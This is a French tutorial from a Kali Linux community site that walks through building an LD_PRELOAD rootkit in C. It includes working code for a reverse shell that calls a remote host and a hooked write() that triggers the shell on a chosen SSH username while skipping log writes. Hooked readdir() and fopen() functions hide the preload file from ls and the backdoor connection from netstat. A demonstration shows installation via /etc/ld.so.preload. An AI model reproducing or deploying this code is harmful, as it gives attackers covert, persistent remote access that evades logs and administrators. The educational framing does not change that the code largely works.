Kali-linux distribution GNU/Linux spécialisée dans l'audit et le pentest.
Kali-linux.fr Communauté française de kali-linux
Comprendre les rootkits

Linux : Les rootkits

Bonjour/Bonsoir à toutes et tous, aujourd’hui nous avons un gros dossier à aborder, c’est pourquoi je vous propose que nous commencions sans perdre de temps !

Mettons tout de suite les choses au clair, nous allons aujourd’hui parler d’un sujet complexe, et potentiellement dangereux selon les cas d’utilisations vu que nous allons parler d’un type de malware en particulier. Kali-linux.fr et son staff ne vous proposent que ce tuto à titre éducatif et nous ne pourrons être tenu responsable de ce que vous en ferez. N’oubliez pas que le plus important c’est la connaissance et la passion.

Bien que ce tuto s’inscrive dans la lignée des deux premiers (LKM et librairies) le niveau de difficulté de ce tuto sera NETTEMENT plus élevé que les deux précédents. Ainsi ce tuto ne s’adressera pas aux débutants et sera plus dédié à ceux qui ont déjà un peu d’expérience en programmation mais aussi des connaissances sur le fonctionnement de Linux.

Pour ce tuto vous aurez besoin des choses suivantes :

  • Des connaissances assez solides sur le fonctionnement de Linux (appels systèmes, librairies, adressage mémoire…)
  • Un niveau moyen en C (2-3 ans de pratique minimum conseillé)
  • Une machine sous Linux (j’utiliserai 5.10.0-kali3-amd64 pour ce tuto à titre personnel)
  • Du café prêt à être bu
  • Des aspirines
  • Des éponges et des raviolis

Heu… pardon j’ai confondu avec ma liste de courses…

I) Rootkit , what is this bidule ?

Ne perdons pas les bonnes habitudes demandons une définition au professeur Wikipédios :

Un rootkit ou simplement « kit » (aussi appelé « outil de dissimulation d’activité », « maliciel furtif », « trousse administrateur pirate »), est un ensemble de techniques mises en œuvre par un ou plusieurs logiciels, dont le but est d’obtenir et de pérenniser un accès (généralement non autorisé) à un ordinateur le plus furtivement possible, à la différence d’autres logiciels malveillants. Le terme peut désigner la technique de dissimulation ou plus généralement un ensemble particulier d’objets informatiques mettant en œuvre cette technique.

https://fr.wikipedia.org/wiki/Rootkit

Nous allons donc construire ensemble un rootkit, très basique certes, mais cela nous permettra de comprendre comment cela fonctionne !

N’espérez pas avoir un rootkit prêt à l’emploi , je vous vois les petits malins !

Sous Linux, il existe différents types de rootkits, les plus connus sont les rootkits LKM (Loadable Kernel Module) et les rootkits basés sur LD_PRELOAD (donc sous forme de librairie). Si vous n’êtes pas familier avec ces deux aspects de Linux que sont Les LKM et LD_PRELOAD ainsi qu’avec les hooking de librairie, je vous conseille de lire les 2 tutos sur le site traitant de ces sujets :

Dans notre cas nous étudierons un rootkit de type LD_PRELOAD. Pourquoi ce choix me direz-vous ? Et bien c’est très simple en fait c’est…

Très bien j’ai compris on y va…

II) La théorie

A) Le plan initial

Un peu de théorie ne fera pas de mal je pense. Vu que nous allons nous attaquer à un sujet complexe, la partie théorique va nous servir en quelque sorte de « plan d’attaque », ainsi nous n’oublierons rien. Il est à noter que nous allons coder notre rootkit en C pour des raisons de praticité et d’optimisation.

Voici les fonctionnalités que je vous propose d’intégrer à notre rootkit :

  • La possibilité de se connecter à la machine victime via un reverse shell
  • Cacher la présence du rootkit à la commande ‘netstat
  • Cacher la présence du rootkit à la commande ‘ls
  • Activer le reverse shell à distance

Ces 3 fonctionnalités « basiques » nous donnerons déjà un bon aperçu de se qu’un « vrai » rootkit peut faire. Et cela permettra que l’on s’amuse quand même en apprenant comment on peut mettre en place ce genre de mécanismes.

Pour mettre en place ces 3 points précédemment exposés, nous allons nous y prendre de la manière suivante :

  • Nous allons utiliser un shell reverse_tcp qui nous servira de payload (charge utile)
  • Nous allons hooker les appels systèmes et fonctions nécessaires pour cacher le rootkit aux yeux de l’utilisateur lors de l’utilisation des commandes ‘netstat‘ et ‘ls
  • Nous allons écrire un trigger qui va déclencher l’activation de notre rootkit (une action spécifique faite sur la machine de la victime par exemple)

B) Un peu plus de détails

Maintenant que nous avons vu le plan en mode « gros grains » nous allons détailler un peu plus ce dont nous allons avoir besoin, ce que l’on va faire, pourquoi , comment…

Les appels systèmes que nous aurons besoin de hooker seront donc write(), readdir() et fopen(). Grâce à cela nous pourrons nous cacher des commandes ‘netstat‘ et ‘ls‘. Nous penserons également à hooker leurs équivalents destinés aux gros fichiers à savoir fopen64() , readdir64().

le hook de l’appel write() nous permettra de mettre en place le trigger dont nous avons parlé plus haut et ce via ssh, il activera notre rootkit lorsque nous tenterons de nous connecter via ssh à la machine infectée à l’aide d’un nom d’utilisateur et d’un mot de passe de notre choix.

Le hook de l’appel readdir(), nous permettra de lire le contenu d’un dossier, et de changer le contenu du dossier en enlevant notre rootkit de la liste, cela permettra de rendre le fichier invisible au travers de la commande ‘ls‘ qui utilise cet appel système.

Le hook de l’appel fopen(), nous permettra de lire le contenu du fichier ‘/proc/net/tcp/‘ et de retirer de celui-ci la connexion engendrée par notre charge utile (reverse_tcp). De cette façon lors de l’utilisation de la commande ‘netstat‘ notre backdoor sera invisible.

III) La pratique

Sortez vos plus belles lunettes de soleil, vos plus belles capuches (une cagoule peut faire effet aussi), échauffez vos doigts pour taper aussi vite que l’éclair ! Nous passons à la pratique !

A) La charge utile (payload)

Commençons par le plus simple et le plus rapide, à savoir le shell reverse_tcp, voici le code que j’utiliserai :

// shell reverse_tcp 
int rev_tcp (void)
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_HOST);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}

Rien de bien compliqué ici, vous connaissez probablement déjà le fonctionnement de ce code si vous lisez cet article. Nous ne nous attarderons pas dessus, ce n’est pas l’objet de ce tutoriel.

B) Hooking de l’appel système write()

Maintenant nous allons hooker l’appel système write() , commençons par regarder à quoi ressemble le prototype de l’appel sur le man :

man 2 write

Très bien maintenant que nous avons notre prototype, il ne nous reste plus qu’à comme on dit, nous allons donc faire en sorte que :

  • Notre « faux » write() soit appelé à la place du « vrai »
  • Notre « faux write() exécute quand même le « vrai » tout en activant notre charge utile (payload)
  • Notre « faux » write() ne déclenche la charge utile que quand la commande ssh recevra en paramètre de connexion un nom d’utilisateur que nous aurons choisi

Ainsi je vous propose de regarder le bout de code suivant :

//write syscall hooking
ssize_t write(int fd, const void *buf, size_t count)
{
    ssize_t (*hooked_write)(int fd, const void *buf, size_t count) = dlsym(RTLD_NEXT, "write");
    ssize_t res;
    
    char *rev = strstr(buf, TRIGGER);

    if (rev != NULL)
    {
        rev_tcp();
    }

    else
    {
        res = hooked_write(fd, buf, count);
    }
    return res;
}

Laissez moi vous expliquer exactement ce qui se passe ici :

  1. Nous déclarons une fonction ayant le même prototype que l’appel système write() (en accord avec les indications du man)
  2. Nous créons un pointeur vers une fonction (ici que j’ai appelée hooked_write() ) et nous initialisons le pointeur avec l’adresse retournée par la fonction dlsym(). La fonction dlsym nous sert d’interface entre nous et le linker dynamique , en lui donnant les deux arguments ci-dessus, nous lui demandons de chercher la prochaine occurance (RTLD_NEXT), dans les autres librairies associées au programme, du terme « write ». Au vu de la façon dont nous allons utiliser notre rootkit (en le chargeant avec LD_PRELOAD) la fonction dlsym va nous retourner l’adresse du « vrai » appel système write(), car elle consultera les librairies se trouvant après la notre dans la liste des librairies associées au programme. De cette façon, nous pourrons exécuter le « vrai » appel en utilisant la fonction hooked_write().
  3. Nous créons une variable de type ssize_t qui nous servira de retour pour notre fonction.
  4. Nous créons et initialisons un pointeur de type char, il aura pour valeur le résultat de la fonction strstr(), cette fonction va chercher dans le buffer qui est écris, une chaine qu’on lui passera en argument, cette chaine sera notre trigger. Ainsi, à chaque fois que write() sera appelé , la fonction strstr() cherchera notre trigger dans le buffer. En utilisant ssh nous pourrons donc en spécifiant notre trigger en tant que nom d’utilisateur, lancer notre charge utile. En prime nous n’exécuterons pas le « vrai » write(), pour éviter que notre tentative de connexion soit écrite dans les fichiers de log du système.
  5. Dans le cas ou notre trigger n’est pas trouvé dans le buffer, nous exécuterons simplement le « vrai » write() comme si de rien n’était.

C) Hooking de l’appel système readdir() (et readdir64())

Pfffffiou c’est dense mais on est sur une bonne moyenne, je vous propose de continuer !

« Par ce qu’on a le choix ? »

Et bien.. Dans un sens oui vous pouvez fermer l’onglet du tutoriel !

« C’est de l’arnaque ça ! »

Mouhahahahaha

Bien, cette courte pause maintenant finie, reprenons, nous allons maintenant empêcher notre rootkit d’être vu par la commande ls‘ , cette même commande utilise l’appel système readdir() (ou readdir64() dans le cas des gros fichiers) pour obtenir la liste des fichiers d’un dossier. Nous allons donc hooker l’appel système readdir() pour faire en sorte que notre rootkit (qui sera en fait une librairie je vous le rappelle) ne puisse pas être vu.

Jetons d’abord un œil au man de readdir() :

man 3 readdir

Comme nous le voyons ici, nous allons devoir jouer avec la structure ‘dirent’ qui est définit dans la glibc (Gnu C Library). Une autre chose intéressante à noter et qui est dite dans le man est la suivante :

The only fields in the dirent structure that are mandated by POSIX.1 are d_name and d_ino. The other fields are unstandardized, and not present on all systems; see NOTES below for some further details.

man 3 readdir

Néanmoins nous allons uniquement nous attarder sur le nom du fichier à cacher dans le dossier.

Une autre chose dont il faut tenir compte est le fait que notre librairie sera visible de toute façon dans les librairies chargées des programmes (via la commande ldd par exemple). Ainsi cacher directement la librairie pourrait susciter un questionnement de la part d’un utilisateur s’il cherche la librairie et qu’il ne la trouve pas dans son système. Il est néanmoins possible de procéder autrement et de cacher le fichier de configuration de LD_PRELOAD dans lequel nous renseignerons notre librairie à charger, ainsi l’utilisateur de ne doutera pas que le chargement de notre librairie provient de l’utilisation de LD_PRELOAD.

Je vous propose donc de regarder ce bout de code :

//readdir syscall hooking
struct dirent *(*old_readdir)(DIR *dir);
struct dirent *readdir(DIR *dirp)
{
    old_readdir = dlsym(RTLD_NEXT, "readdir");
    struct dirent *dir;

    while (dir = old_readdir(dirp))
    {
        if(strstr(dir->d_name,FILENAME) == 0) break;
    }
    return dir;
}

Voici quelques explications :

  1. Nous déclarons un pointeur que l’on initialisera plus tard, de la même manière que nous l’avons fait avant, on l’initialisera avec l’adresse du « vrai » readdir().
  2. Nous déclarons ensuite une fonction ayant le même prototype que nous avons vu sur le man du « vrai » appel système readdir().
  3. Nous initialisons enfin le pointeur pour le faire pointer sur l’adresse du « vrai » readdir().
  4. On utilise une boucle pour itérer sur les fichiers lus par la commande ‘ls’ au travers du « vrai » readdir(), quand on rencontre le fichier que l’on désire cacher, on break pour ne pas l’afficher et on continu d’itérer sur les autres fichiers.
  5. On finit en retournant la structure ‘dir’ de type ‘dirent’ comme le prototype de la fonction le demande.

Dans le cas de readdir64(), la procédure est exactement la même.

D) Hooking de l’appel système fopen() (et fopen64())

Nous arrivons sur la fin ! Il ne reste « plus qu’à » nous occuper de masquer la connexion de notre reverse shell à la commande ‘netstat’.

« Plus qu’à, ouais comme tu dis… tu as bien fait de nous dire de prévoir un doliprane… »

Aller encore un peu de courage c’est la dernière partie ! Avant la suivante..

« …. »

Je disais donc… Nous allons avoir besoin de regarder ce que fait ‘netstat‘ :

Ainsi, ‘netstat’ ouvre entre autre le fichier ‘/proc/net/tcp‘ (pas seulement, mais seulement ce fichier nous intéresse dans notre cas), lit son contenu, et le referme.. Pour finir, après avoir lu tout les fichiers, ‘netstat’ affiche le résultat sur la sortie standard.

Jetons dans un premier temps un coup d’oeil au fichier concerné :

Ce fichier semble un peu…

« Moche ? »

Non, juste un peu repoussant, fort heureusement il existe un document sur le site kernel.org qui peut nous aider ! voici le lien du document ainsi que son contenu :

https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt

Maintenant que nous avons l’information et que nous savons que tout est simplement codé en hexadécimale, et en se basant sur la capture d’écran faite de mon fichier, nous pouvons en déduire que j’ai le port 5631 ouvert sur mon adresse 0.0.0.0 locale, ce qui se trouve être un serveur python que j’ai lancé juste pour l’exemple.

Nous allons donc devoir ouvrir le fichier, et trouver un moyen de repérer notre connexion, une façon facile de le faire est de viser le port que l’on utilise.

L’appel système open() est utiliser par ‘netstat’, mais il est possible d’utiliser également fopen() qui est simplement un wrapper de l’appel open(). Nous allons donc utiliser fopen() cela sera plus simple à manipuler. Regardons la page du manuel :

man 3 fopen

Bien regardons maintenant ce bout de code:

//fopen syscall hooking
FILE *(*orig_fopen)(const char *pathname, const char *mode);
FILE *fopen(const char *pathname, const char *mode)
{
	orig_fopen = dlsym(RTLD_NEXT, "fopen");
	char *ptr_tcp = strstr(pathname, "/proc/net/tcp");
	FILE *fp;

	if (ptr_tcp != NULL)
	{
		char line[256];
		FILE *temp = tmpfile();
		fp = orig_fopen(pathname, mode);
		while (fgets(line, sizeof(line), fp))
		{
			char *listener = strstr(line, PORT_TO_HIDE);
			if (listener != NULL)
			{
				continue;
			}
			else
			{
				fputs(line, temp);
			}
		}
		return temp;
	}
	fp = orig_fopen(pathname, mode);
	return fp;
}

Voici ce qui se passe :

  1. Nous déclarons un pointeur que l’on initialisera plus tard, comme précédemment, on l’initialisera avec l’adresse du « vrai » fopen() après.
  2. Nous déclarons ensuite une fonction ayant le même prototype que nous avons vu sur le man du « vrai » fopen().
  3. On initialise le pointeur en le faisant pointer vers l’adresse du « vrai » fopen().
  4. On déclare le pathname demandé par le prototype de fopen() et on le compare avec la chaine ‘/proc/net/tcp’ pour s’assurer que l’on ouvre ce fichier spécifiquement.
  5. On déclare un pointeur de type FILE qui nous servira à satisfaire le prototype de la fonction fopen() quant à la valeur retournée.
  6. On vérifie que le fichier ouvert par fopen() soit bien ‘/proc/net/tcp’ et si c’est le cas on rentre dans la boucle.
  7. On déclare ensuite une chaine de caractère de taille 255 et on réserve le dernier caractère pour le caractère de terminaison (NULL terminator).
  8. Ici on utilise une petite astuce pratique, on initialise un second pointeur de type FILE qui nous servira de fichier temporaire, ce fichier sera trouvable dans le dossier ‘/tmp’ tant que la commande ‘netstat’ ne sera pas terminée. la fonction tmpfile() fait partie de la librairie stdio.
  9. On initialise le premier pointeur déclaré plus haut avec le fichier qui vient d’être ouvert.
  10. On rentre dans la boucle, on récupère le contenu du fichier ‘/proc/net/tcp’ ligne par ligne, ensuite on déclare un pointeur nommé listener, qui sera initialisé si nous lisons le port que l’on cherche dans le fichier, à savoir que le port doit être bien entendu spécifié en hexadécimale comme nous l’avons vu précédemment.
  11. Si le pointeur listener est égal à NULL on ne fait rien, sinon on place la ligne dans notre fichier temporaire.
  12. On retourne la valeur temp en tant que retour de la fonction fopen().
  13. Et si le fichier ‘/proc/net/tcp’ n’est pas ouvert, on redonne la main à la « vraie » fonction fopen() et on retourne le pointeur fp.

En résumé, nous copions le contenu de ‘/proc/net/tcp’ dans un fichier temporaire, en prenant soin de retirer la ligne concernant notre connexion, et nous affichons ce fichier en tant que retour de la commande ‘netstat’, le fichier temporaire est alors supprimé une fois que la commande se termine ce qui permet de ne pas laisser trop de traces.

IV) Démo time

Pffffiou enfin nous avons finit avec les explications techniques, nous pouvons donc passer à l’action et essayer ce rootkit.

Je vais tester le rootkit directement sur ma kali avec laquelle je rédige ce tutoriel ainsi je fais tout en local mais évidemment cela fonctionne over WAN 😉 Je vais utiliser le port 5631 pour mon reverse_shell, ce qui donne 15FF en hexadécimale. Je vais également choisir de cacher le fichier ‘/etc/ld.so.preload’ de cette manière personne ne verra le fichier servant à charger notre librairie, pour la démonstration je ne tenterai pas de cacher le rootkit lui même, mais en réfléchissant un peu je suis sur que vous trouverais des idées pour faire ça 😉

C’est parti !

Une fois compilé voici le fichier :

On envoi le path de notre fichier dans le fichier ‘/etc/ld.so.preload’ (voir tuto librairie).

On vérifie que notre librairie est bien chargée :

Jusque la tout vas bien !

Maintenant nous devons dans un premier temps redémarrer le daemon ssh pour lui permettre de charger notre rootkit dans ses librairies :

Je vais maintenant tenter de me connecter à la machine victime (qui dans mon cas est la même que celle attaquante je le rappelle) via ssh.

Côté attaquant on prépare notre ‘netcat’ :

Et toujours côté attaquant on tente de se connecter via ssh à la victime en utilisant notre trigger comme nom d’utilisateur , dans mon cas cela donne :

Mon trigger ici est donc ‘kali_fr’.

Et voilà nous avons notre shell ! :

Vérifions avec la commande ‘ls’ si le fichier que je souhaite caché est visible :

ls /etc/

Parfait le fichier n’est pas visible avec ‘ls’ !

Il reste maintenant plus qu’a vérifier si notre connexion est visible via ‘netstat’ :

netstat -ano | grep -v unix

Aucune présence du port 5631 et de la connexion associée ! C’est une victoire !!

V) Conclusion et digression

Bon bon bon, nous voilà à la fin de ce tutoriel, j’espère premièrement qu’il vous aura plu, mais qu’il sera digeste à lire. J’ai essayé lors de l’écriture de celui-ci de moduler le niveau pour donner un maximum d’informations sans trop en donner pour ne pas donner non plus un rootkit clés en mains. Donc pour ceux qui sont déjà experts sur le sujet, c’est normal que vous trouviez des points d’ombres sur ce tutoriel.

Dans cet esprit je voudrais remercier tout ceux qui m’auront inspiré pour ce tuto, tant pour les techniques abordées que certains bouts de code. Je ne les citerai volontairement pas pour la même raison qu’évoquée plus haut. Mais s’ils passent par ici, merci à vous pour le partage.

Nous avons regardé le fonctionnement ici d’un rootkit ultra basique vis à vis de la quantité de fonctionnalité dont est doté celui-ci , mais pas particulièrement vis à vis de l’ingéniosité des techniques abordées. C’est aussi en ça que réside la qualité d’un rootkit et certains diront même que c’est un art de coder des rootkits.

Un seul type de rootkit fut abordé lors de ce tutoriel pour pouvoir introduire la discipline mais il existe des tas de types de rootkit, tant pour Linux que pour Windows.

Tout les types de rootkits peuvent être regroupés dans deux catégories :

  • Les rootkits User-land (Ou User mode)
  • Les rootkits Kernel-Land (Ou Kernel mode)

Je ne suis volontairement pas rentré dans les détails de ces deux catégories volontairement plus tôt pour ne pas surcharger encore le tutoriel.

Ce qu’il faut simplement retenir c’est que un rootkit user-land est du code qui utilise les fonctions (appels systèmes, fonctions , macros…) proposées par le kernel à l’utilisateur pour opérer, alors qu’un rootkit kernel-land sera la manipulation directe du kernel pour modifier les fonctions proposées à l’utilisateur par exemple, par essence les rootkit kernel-land sont souvent les plus difficiles à implémenter.

Pour ceux qui seront bien alerte vous aurez donc remarqué que notre petit rootkit ici est un rootkit user-land.

Quoi qu’il en soit, ne faites pas de bêtises et n’oubliez pas que le plus important c’est la connaissance ! Je vous laisse quelques liens utiles pour ceux qui voudront aller plus loin.

Sur ce mon avion pour les Bahamas arrive je dois le prendre, à bientôt pour un prochain tuto !

ZeR0-@bSoLu

----------------------------------------------------------------------------------------------

https://blog.netspi.com/function-hooking-part-i-hooking-shared-library-function-calls-in-linux/

https://linuxhint.com/about_rootkits_detection_and_prevention/

https://repo.zenk-security.com/Virus-Infections-Detections-Preventions/Techniques%20utilisees%20par%20les%20rootkits.pdf

http://ivanlef0u.fr/repo/madchat/vxdevl/anti-rootkits/vice/VICE%20-%20Catch%20the%20hookers!.pdf

Leave a Comment

Time limit is exhausted. Please reload CAPTCHA.